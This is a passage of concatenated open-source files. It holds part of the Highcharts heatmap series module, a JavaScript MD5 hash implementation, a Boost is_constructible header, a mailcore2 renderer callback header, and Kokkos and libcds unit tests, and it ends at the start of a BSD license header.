* contained in a matrix are represented as colors.
*
* @sample highcharts/demo/heatmap/
* Simple heatmap
* @sample highcharts/demo/heatmap-canvas/
* Heavy heatmap
* @extends {plotOptions.scatter}
* @excluding marker,pointRange,pointPlacement
* @product highcharts highmaps
* @optionparent plotOptions.heatmap
*/
seriesType('heatmap', 'scatter', {
/**
* Animation is disabled by default on the heatmap series.
*
* @type {Boolean|Object}
*/
animation: false,
/**
* The border width for each heat map item.
*/
borderWidth: 0,
/**
* Padding between the points in the heatmap.
*
* @type {Number}
* @default 0
* @since 6.0
* @apioption plotOptions.heatmap.pointPadding
*/
/**
* The main color of the series. In heat maps this color is rarely used,
* as we mostly use the color to denote the value of each point. Unless
* options are set in the [colorAxis](#colorAxis), the default value
* is pulled from the [options.colors](#colors) array.
*
* @type {Color}
* @default null
* @since 4.0
* @product highcharts
* @apioption plotOptions.heatmap.color
*/
/**
* The column size - how many X axis units each column in the heatmap
* should span.
*
* @type {Number}
* @sample {highcharts} maps/demo/heatmap/ One day
* @sample {highmaps} maps/demo/heatmap/ One day
* @default 1
* @since 4.0
* @product highcharts highmaps
* @apioption plotOptions.heatmap.colsize
*/
/**
* The row size - how many Y axis units each heatmap row should span.
*
* @type {Number}
* @sample {highcharts} maps/demo/heatmap/ 1 by default
* @sample {highmaps} maps/demo/heatmap/ 1 by default
* @default 1
* @since 4.0
* @product highcharts highmaps
* @apioption plotOptions.heatmap.rowsize
*/
/**
* The color applied to null points. In styled mode, a general CSS class is
* applied instead.
*
* @type {Color}
*/
nullColor: '#f7f7f7',
dataLabels: {
formatter: function() { // #2945
return this.point.value;
},
inside: true,
verticalAlign: 'middle',
crop: false,
overflow: false,
padding: 0 // #3837
},
/**
* @ignore
*/
marker: null,
/** @ignore */
pointRange: null, // dynamically set to colsize by default
tooltip: {
pointFormat: '{point.x}, {point.y}: {point.value}<br/>'
},
states: {
hover: {
/**
* @ignore
*/
halo: false, // #3406, halo is disabled on heatmaps by default
/**
* How much to brighten the point on interaction. Requires the main
* color to be defined in hex or rgb(a) format.
*
* In styled mode, the hover brightening is by default replaced
* with a fill-opacity set in the `.highcharts-point:hover` rule.
*
* @type {Number}
* @product highcharts highmaps
*/
brightness: 0.2
}
}
}, merge(colorSeriesMixin, {
pointArrayMap: ['y', 'value'],
hasPointSpecificOptions: true,
getExtremesFromAll: true,
directTouch: true,
/**
* Override the init method to add point ranges on both axes.
*/
init: function() {
var options;
seriesTypes.scatter.prototype.init.apply(this, arguments);
options = this.options;
// #3758, prevent resetting in setData
options.pointRange = pick(options.pointRange, options.colsize || 1);
this.yAxis.axisPointRange = options.rowsize || 1; // general point range
},
translate: function() {
var series = this,
options = series.options,
xAxis = series.xAxis,
yAxis = series.yAxis,
seriesPointPadding = options.pointPadding || 0,
between = function(x, a, b) {
return Math.min(Math.max(a, x), b);
};
series.generatePoints();
each(series.points, function(point) {
var xPad = (options.colsize || 1) / 2,
yPad = (options.rowsize || 1) / 2,
x1 = between(
Math.round(
xAxis.len -
xAxis.translate(point.x - xPad, 0, 1, 0, 1)
), -xAxis.len, 2 * xAxis.len
),
x2 = between(
Math.round(
xAxis.len -
xAxis.translate(point.x + xPad, 0, 1, 0, 1)
), -xAxis.len, 2 * xAxis.len
),
y1 = between(
Math.round(yAxis.translate(point.y - yPad, 0, 1, 0, 1)), -yAxis.len, 2 * yAxis.len
),
y2 = between(
Math.round(yAxis.translate(point.y + yPad, 0, 1, 0, 1)), -yAxis.len, 2 * yAxis.len
),
pointPadding = pick(point.pointPadding, seriesPointPadding);
// Set plotX and plotY for use in K-D-Tree and more
point.plotX = point.clientX = (x1 + x2) / 2;
point.plotY = (y1 + y2) / 2;
point.shapeType = 'rect';
point.shapeArgs = {
x: Math.min(x1, x2) + pointPadding,
y: Math.min(y1, y2) + pointPadding,
width: Math.abs(x2 - x1) - pointPadding * 2,
height: Math.abs(y2 - y1) - pointPadding * 2
};
});
series.translateColors();
},
drawPoints: function() {
seriesTypes.column.prototype.drawPoints.call(this);
each(this.points, function(point) {
point.graphic.attr(this.colorAttribs(point));
}, this);
},
animate: noop,
getBox: noop,
drawLegendSymbol: LegendSymbolMixin.drawRectangle,
alignDataLabel: seriesTypes.column.prototype.alignDataLabel,
getExtremes: function() {
// Get the extremes from the value data
Series.prototype.getExtremes.call(this, this.valueData);
this.valueMin = this.dataMin;
this.valueMax = this.dataMax;
// Get the extremes from the y data
Series.prototype.getExtremes.call(this);
}
}), H.extend({
haloPath: function(size) {
if (!size) {
return [];
}
var rect = this.shapeArgs;
return [
'M', rect.x - size, rect.y - size,
'L', rect.x - size, rect.y + rect.height + size,
rect.x + rect.width + size, rect.y + rect.height + size,
rect.x + rect.width + size, rect.y - size,
'Z'
];
}
}, colorPointMixin));
/**
* A `heatmap` series. If the [type](#series.heatmap.type) option is
* not specified, it is inherited from [chart.type](#chart.type).
*
* For options that apply to multiple series, it is recommended to add
* them to the [plotOptions.series](#plotOptions.series) options structure.
* To apply to all series of this specific type, apply it to [plotOptions.
* heatmap](#plotOptions.heatmap).
*
* @type {Object}
* @extends series,plotOptions.heatmap
* @excluding dataParser,dataURL,marker,pointRange,stack
* @product highcharts highmaps
* @apioption series.heatmap
*/
/**
* An array of data points for the series. For the `heatmap` series
* type, points can be given in the following ways:
*
* 1. An array of arrays with 3 or 2 values. In this case, the values
* correspond to `x,y,value`. If the first value is a string, it is
* applied as the name of the point, and the `x` value is inferred.
* The `x` value can also be omitted, in which case the inner arrays
* should be of length 2\. Then the `x` value is automatically calculated,
* either starting at 0 and incremented by 1, or from `pointStart`
* and `pointInterval` given in the series options.
*
* ```js
* data: [
* [0, 9, 7],
* [1, 10, 4],
* [2, 6, 3]
* ]
* ```
*
* 2. An array of objects with named values. The objects are point
* configuration objects as seen below. If the total number of data
* points exceeds the series' [turboThreshold](#series.heatmap.turboThreshold),
* this option is not available.
*
* ```js
* data: [{
* x: 1,
* y: 3,
* value: 10,
* name: "Point2",
* color: "#00FF00"
* }, {
* x: 1,
* y: 7,
* value: 10,
* name: "Point1",
* color: "#FF00FF"
* }]
* ```
*
* @type {Array<Object|Array>}
* @extends series.line.data
* @excluding marker
* @sample {highcharts} highcharts/chart/reflow-true/
* Numerical values
* @sample {highcharts} highcharts/series/data-array-of-arrays/
* Arrays of numeric x and y
* @sample {highcharts} highcharts/series/data-array-of-arrays-datetime/
* Arrays of datetime x and y
* @sample {highcharts} highcharts/series/data-array-of-name-value/
* Arrays of point.name and y
* @sample {highcharts} highcharts/series/data-array-of-objects/
* Config objects
* @product highcharts highmaps
* @apioption series.heatmap.data
*/
/**
* The color of the point. In heat maps the point color is rarely set
* explicitly, as we use the color to denote the `value`. Options for
* this are set in the [colorAxis](#colorAxis) configuration.
*
* @type {Color}
* @product highcharts highmaps
* @apioption series.heatmap.data.color
*/
/**
* The value of the point, resulting in a color controled by options
* as set in the [colorAxis](#colorAxis) configuration.
*
* @type {Number}
* @product highcharts highmaps
* @apioption series.heatmap.data.value
*/
/**
* The x value of the point. For datetime axes,
* the X value is the timestamp in milliseconds since 1970.
*
* @type {Number}
* @product highcharts highmaps
* @apioption series.heatmap.data.x
*/
/**
* The y value of the point.
*
* @type {Number}
* @product highcharts highmaps
* @apioption series.heatmap.data.y
*/
/**
* Point padding for a single point.
*
* @type {Number}
* @sample maps/plotoptions/tilemap-pointpadding Point padding on tiles
* @apioption series.heatmap.data.pointPadding
*/
}(Highcharts));
}));
|
{
"pile_set_name": "Github"
}
|
/**
*
* MD5 (Message-Digest Algorithm)
* http://www.webtoolkit.info/
*
**/
(function (exports) {
'use strict';
var MD5 = function (string) {
function RotateLeft(lValue, iShiftBits) {
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits));
}
function AddUnsigned(lX, lY) {
var lX4, lY4, lX8, lY8, lResult;
lX8 = (lX & 0x80000000);
lY8 = (lY & 0x80000000);
lX4 = (lX & 0x40000000);
lY4 = (lY & 0x40000000);
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
if (lX4 & lY4) {
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
}
if (lX4 | lY4) {
if (lResult & 0x40000000) {
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
} else {
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
}
} else {
return (lResult ^ lX8 ^ lY8);
}
}
function F(x, y, z) {
return (x & y) | ((~x) & z);
}
function G(x, y, z) {
return (x & z) | (y & (~z));
}
function H(x, y, z) {
return (x ^ y ^ z);
}
function I(x, y, z) {
return (y ^ (x | (~z)));
}
function FF(a, b, c, d, x, s, ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function GG(a, b, c, d, x, s, ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function HH(a, b, c, d, x, s, ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function II(a, b, c, d, x, s, ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
};
function ConvertToWordArray(string) {
var lWordCount;
var lMessageLength = string.length;
var lNumberOfWords_temp1 = lMessageLength + 8;
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64;
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16;
var lWordArray = Array(lNumberOfWords - 1);
var lBytePosition = 0;
var lByteCount = 0;
while (lByteCount < lMessageLength) {
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
lBytePosition = (lByteCount % 4) * 8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (string.charCodeAt(lByteCount) << lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
lBytePosition = (lByteCount % 4) * 8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition);
lWordArray[lNumberOfWords - 2] = lMessageLength << 3;
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29;
return lWordArray;
};
function WordToHex(lValue) {
var WordToHexValue = "",
WordToHexValue_temp = "",
lByte, lCount;
for (lCount = 0; lCount <= 3; lCount++) {
lByte = (lValue >>> (lCount * 8)) & 255;
WordToHexValue_temp = "0" + lByte.toString(16);
WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length - 2, 2);
}
return WordToHexValue;
};
function Utf8Encode(string) {
string = string.replace(/\r\n/g, "\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
} else if ((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
} else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
};
var x = Array();
var k, AA, BB, CC, DD, a, b, c, d;
var S11 = 7,
S12 = 12,
S13 = 17,
S14 = 22;
var S21 = 5,
S22 = 9,
S23 = 14,
S24 = 20;
var S31 = 4,
S32 = 11,
S33 = 16,
S34 = 23;
var S41 = 6,
S42 = 10,
S43 = 15,
S44 = 21;
string = Utf8Encode(string);
x = ConvertToWordArray(string);
a = 0x67452301;
b = 0xEFCDAB89;
c = 0x98BADCFE;
d = 0x10325476;
for (k = 0; k < x.length; k += 16) {
AA = a;
BB = b;
CC = c;
DD = d;
a = FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
d = FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
c = FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
b = FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
a = FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
d = FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
c = FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
b = FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
a = FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
d = FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
c = FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
b = FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
a = FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
d = FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
c = FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
b = FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
a = GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
d = GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
c = GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
b = GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
a = GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
d = GG(d, a, b, c, x[k + 10], S22, 0x2441453);
c = GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
b = GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
a = GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
d = GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
c = GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
b = GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
a = GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
d = GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
c = GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
b = GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
a = HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
d = HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
c = HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
b = HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
a = HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
d = HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
c = HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
b = HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
a = HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
d = HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
c = HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
b = HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
a = HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
d = HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
c = HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
b = HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
a = II(a, b, c, d, x[k + 0], S41, 0xF4292244);
d = II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
c = II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
b = II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
a = II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
d = II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
c = II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
b = II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
a = II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
d = II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
c = II(c, d, a, b, x[k + 6], S43, 0xA3014314);
b = II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
a = II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
d = II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
c = II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
b = II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
a = AddUnsigned(a, AA);
b = AddUnsigned(b, BB);
c = AddUnsigned(c, CC);
d = AddUnsigned(d, DD);
}
var temp = WordToHex(a) + WordToHex(b) + WordToHex(c) + WordToHex(d);
return temp.toLowerCase();
};
// Expose the class either via AMD, CommonJS or the global object
if (typeof define === 'function' && define.amd) {
define(function () {
return MD5;
});
} else if (typeof module === 'object' && module.exports) {
module.exports = MD5;
} else {
exports.MD5 = MD5;
}
})(this);
|
{
"pile_set_name": "Github"
}
|
// (C) Copyright John Maddock 2015.
// Use, modification and distribution are subject to the Boost Software License,
// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt).
//
// See http://www.boost.org/libs/type_traits for most recent version including documentation.
#ifndef BOOST_TT_IS_CONSTRUCTIBLE_HPP_INCLUDED
#define BOOST_TT_IS_CONSTRUCTIBLE_HPP_INCLUDED
#include <boost/type_traits/integral_constant.hpp>
#include <boost/detail/workaround.hpp>
#if !defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES) && !defined(BOOST_NO_CXX11_DECLTYPE) && !BOOST_WORKAROUND(BOOST_MSVC, < 1800) && !BOOST_WORKAROUND(BOOST_GCC_VERSION, < 40500)
#include <boost/type_traits/is_destructible.hpp>
#include <boost/type_traits/is_default_constructible.hpp>
#include <boost/type_traits/detail/yes_no_type.hpp>
#include <boost/type_traits/declval.hpp>
namespace boost{
namespace detail{
struct is_constructible_imp
{
template<typename T, typename ...TheArgs, typename = decltype(T(boost::declval<TheArgs>()...))>
static boost::type_traits::yes_type test(int);
template<typename, typename...>
static boost::type_traits::no_type test(...);
template<typename T, typename Arg, typename = decltype(::new T(boost::declval<Arg>()))>
static boost::type_traits::yes_type test1(int);
template<typename, typename>
static boost::type_traits::no_type test1(...);
template <typename T>
static boost::type_traits::yes_type ref_test(T);
template <typename T>
static boost::type_traits::no_type ref_test(...);
};
}
template <class T, class ...Args> struct is_constructible : public integral_constant<bool, sizeof(detail::is_constructible_imp::test<T, Args...>(0)) == sizeof(boost::type_traits::yes_type)>{};
template <class T, class Arg> struct is_constructible<T, Arg> : public integral_constant<bool, is_destructible<T>::value && sizeof(detail::is_constructible_imp::test1<T, Arg>(0)) == sizeof(boost::type_traits::yes_type)>{};
template <class Ref, class Arg> struct is_constructible<Ref&, Arg> : public integral_constant<bool, sizeof(detail::is_constructible_imp::ref_test<Ref&>(boost::declval<Arg>())) == sizeof(boost::type_traits::yes_type)>{};
template <class Ref, class Arg> struct is_constructible<Ref&&, Arg> : public integral_constant<bool, sizeof(detail::is_constructible_imp::ref_test<Ref&&>(boost::declval<Arg>())) == sizeof(boost::type_traits::yes_type)>{};
template <> struct is_constructible<void> : public false_type{};
template <> struct is_constructible<void const> : public false_type{};
template <> struct is_constructible<void const volatile> : public false_type{};
template <> struct is_constructible<void volatile> : public false_type{};
template <class T> struct is_constructible<T> : public is_default_constructible<T>{};
#else
#include <boost/type_traits/is_convertible.hpp>
#include <boost/type_traits/is_default_constructible.hpp>
namespace boost{
// We don't know how to implement this:
template <class T, class U = void> struct is_constructible : public is_convertible<U, T>{};
template <class T> struct is_constructible<T, void> : public is_default_constructible<T>{};
template <> struct is_constructible<void, void> : public false_type{};
template <> struct is_constructible<void const, void> : public false_type{};
template <> struct is_constructible<void const volatile, void> : public false_type{};
template <> struct is_constructible<void volatile, void> : public false_type{};
template <class Ref> struct is_constructible<Ref&, void> : public false_type{};
#ifndef BOOST_NO_CXX11_RVALUE_REFERENCES
template <class Ref> struct is_constructible<Ref&&, void> : public false_type{};
#endif
#endif
} // namespace boost
#endif // BOOST_TT_IS_CONSTRUCTIBLE_HPP_INCLUDED
|
{
"pile_set_name": "Github"
}
|
//
// MCOAbstractMessageRendererCallback.h
// mailcore2
//
// Created by DINH Viêt Hoà on 3/23/13.
// Copyright (c) 2013 MailCore. All rights reserved.
//
#ifndef MAILCORE_MCOABSTRACTMESSAGERENDERECALLBACK_H
#define MAILCORE_MCOABSTRACTMESSAGERENDERECALLBACK_H
#include "MCIMAP.h"
#include "MCRenderer.h"
#if defined(__cplusplus) && defined(__OBJC__)
@class MCOAbstractMessage;
@protocol MCOHTMLRendererDelegate;
@protocol MCOHTMLRendererIMAPDelegate;
class MCOAbstractMessageRendererCallback : public mailcore::Object, public mailcore::HTMLRendererTemplateCallback, public mailcore::HTMLRendererIMAPCallback {
public:
MCOAbstractMessageRendererCallback(MCOAbstractMessage * message, id <MCOHTMLRendererDelegate> rendererDelegate,
id <MCOHTMLRendererIMAPDelegate> rendererIMAPDelegate);
virtual bool canPreviewPart(mailcore::AbstractPart * part);
virtual bool shouldShowPart(mailcore::AbstractPart * part);
virtual mailcore::HashMap * templateValuesForHeader(mailcore::MessageHeader * header);
virtual mailcore::HashMap * templateValuesForPart(mailcore::AbstractPart * part);
virtual mailcore::String * templateForMainHeader(mailcore::MessageHeader * header);
virtual mailcore::String * templateForImage(mailcore::AbstractPart * part);
virtual mailcore::String * templateForAttachment(mailcore::AbstractPart * part);
virtual mailcore::String * templateForMessage(mailcore::AbstractMessage * message);
virtual mailcore::String * templateForEmbeddedMessage(mailcore::AbstractMessagePart * part);
virtual mailcore::String * templateForEmbeddedMessageHeader(mailcore::MessageHeader * header);
virtual mailcore::String * templateForAttachmentSeparator();
virtual mailcore::String * cleanHTMLForPart(mailcore::String * html);
virtual mailcore::String * filterHTMLForPart(mailcore::String * html);
virtual mailcore::String * filterHTMLForMessage(mailcore::String * html);
virtual mailcore::Data * dataForIMAPPart(mailcore::String * folder, mailcore::IMAPPart * part);
virtual void prefetchAttachmentIMAPPart(mailcore::String * folder, mailcore::IMAPPart * part);
virtual void prefetchImageIMAPPart(mailcore::String * folder, mailcore::IMAPPart * part);
private:
MCOAbstractMessage * mMessage;
id <MCOHTMLRendererDelegate> mRendererDelegate;
id <MCOHTMLRendererIMAPDelegate> mIMAPDelegate;
};
#endif
#endif
|
{
"pile_set_name": "Github"
}
|
/*
//@HEADER
// ************************************************************************
//
// Kokkos v. 3.0
// Copyright (2020) National Technology & Engineering
// Solutions of Sandia, LLC (NTESS).
//
// Under the terms of Contract DE-NA0003525 with NTESS,
// the U.S. Government retains certain rights in this software.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// 1. Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the Corporation nor the names of the
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY NTESS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NTESS OR THE
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Questions? Contact Christian R. Trott (crtrott@sandia.gov)
//
// ************************************************************************
//@HEADER
*/
#include <threads/TestThreads_Category.hpp>
#include <TestViewSubview.hpp>
namespace Test {
TEST(threads, view_subview_2d_from_3d_atomic) {
TestViewSubview::test_2d_subview_3d<TEST_EXECSPACE,
Kokkos::MemoryTraits<Kokkos::Atomic> >();
}
} // namespace Test
|
{
"pile_set_name": "Github"
}
|
/*
This file is a part of libcds - Concurrent Data Structures library
(C) Copyright Maxim Khizhinsky (libcds.dev@gmail.com) 2006-2016
Source code repo: http://github.com/khizmax/libcds/
Download: http://sourceforge.net/projects/libcds/files/
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef CDSUNIT_LIST_TEST_KV_LIST_HP_H
#define CDSUNIT_LIST_TEST_KV_LIST_HP_H
#include "test_kv_list.h"
namespace cds_test {
class kv_list_hp : public kv_list_common
{
protected:
template <typename List>
void test_hp( List& l )
{
// Precondition: list is empty
// Postcondition: list is empty
static const size_t nSize = 20;
typedef typename List::key_type list_key_type;
typedef typename List::mapped_type list_mapped_type;
typedef typename List::value_type list_value_type;
typedef typename List::guarded_ptr guarded_ptr;
struct key_val {
int key;
int val;
};
key_val arr[nSize];
for ( size_t i = 0; i < nSize; ++i ) {
arr[i].key = static_cast<int>(i);
arr[i].val = arr[i].key * 10;
}
shuffle( arr, arr + nSize );
ASSERT_TRUE( l.empty() );
ASSERT_CONTAINER_SIZE( l, 0 );
guarded_ptr gp;
size_t nCount = 0;
// get() test
for ( auto& i : arr ) {
gp = l.get( i.key );
EXPECT_TRUE( !gp );
gp = l.get_with( other_key( i.key ), other_less());
EXPECT_TRUE( !gp );
EXPECT_TRUE( l.insert( i.key, i.val ));
gp = l.get( i.key );
ASSERT_FALSE( !gp );
EXPECT_EQ( gp->first.nKey, i.key );
EXPECT_EQ( gp->second.val, gp->first.nKey * 10 );
gp->second.val = gp->first.nKey * 5;
gp = l.get_with( other_key( i.key ), other_less());
ASSERT_FALSE( !gp );
EXPECT_EQ( gp->first.nKey, i.key );
EXPECT_EQ( gp->second.val, gp->first.nKey * 5 );
gp->second.val = gp->first.nKey * 10;
++nCount;
ASSERT_FALSE( l.empty() );
ASSERT_CONTAINER_SIZE( l, nCount );
}
ASSERT_FALSE( l.empty() );
ASSERT_CONTAINER_SIZE( l, nSize );
// extract() test
for ( auto const& i : arr ) {
ASSERT_FALSE( l.empty() );
ASSERT_CONTAINER_SIZE( l, nCount );
--nCount;
gp = l.get( i.key );
ASSERT_FALSE( !gp );
EXPECT_EQ( gp->first.nKey, i.key );
switch ( i.key & 1 ) {
case 0:
gp = l.extract( i.key );
break;
case 1:
gp = l.extract_with( other_key( i.key ), other_less());
break;
}
ASSERT_FALSE( !gp );
EXPECT_EQ( gp->first.nKey, i.key );
EXPECT_EQ( gp->second.val, gp->first.nKey * 10 );
gp = l.get( i.key );
EXPECT_FALSE( gp );
gp = l.extract( i.key );
EXPECT_FALSE( gp );
gp = l.extract_with( other_key( i.key ), other_less());
EXPECT_FALSE( gp );
}
ASSERT_TRUE( l.empty() );
ASSERT_CONTAINER_SIZE( l, 0 );
}
};
} // namespace cds_list
#endif // CDSUNIT_LIST_TEST_KV_LIST_HP_H
|
{
"pile_set_name": "Github"
}
|
/* ***** BEGIN LICENSE BLOCK *****
* Distributed under the BSD license:
*
* Copyright (c) 2012, Ajax.org B.V.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Ajax.org B.V. nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL AJAX.ORG B.V. BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
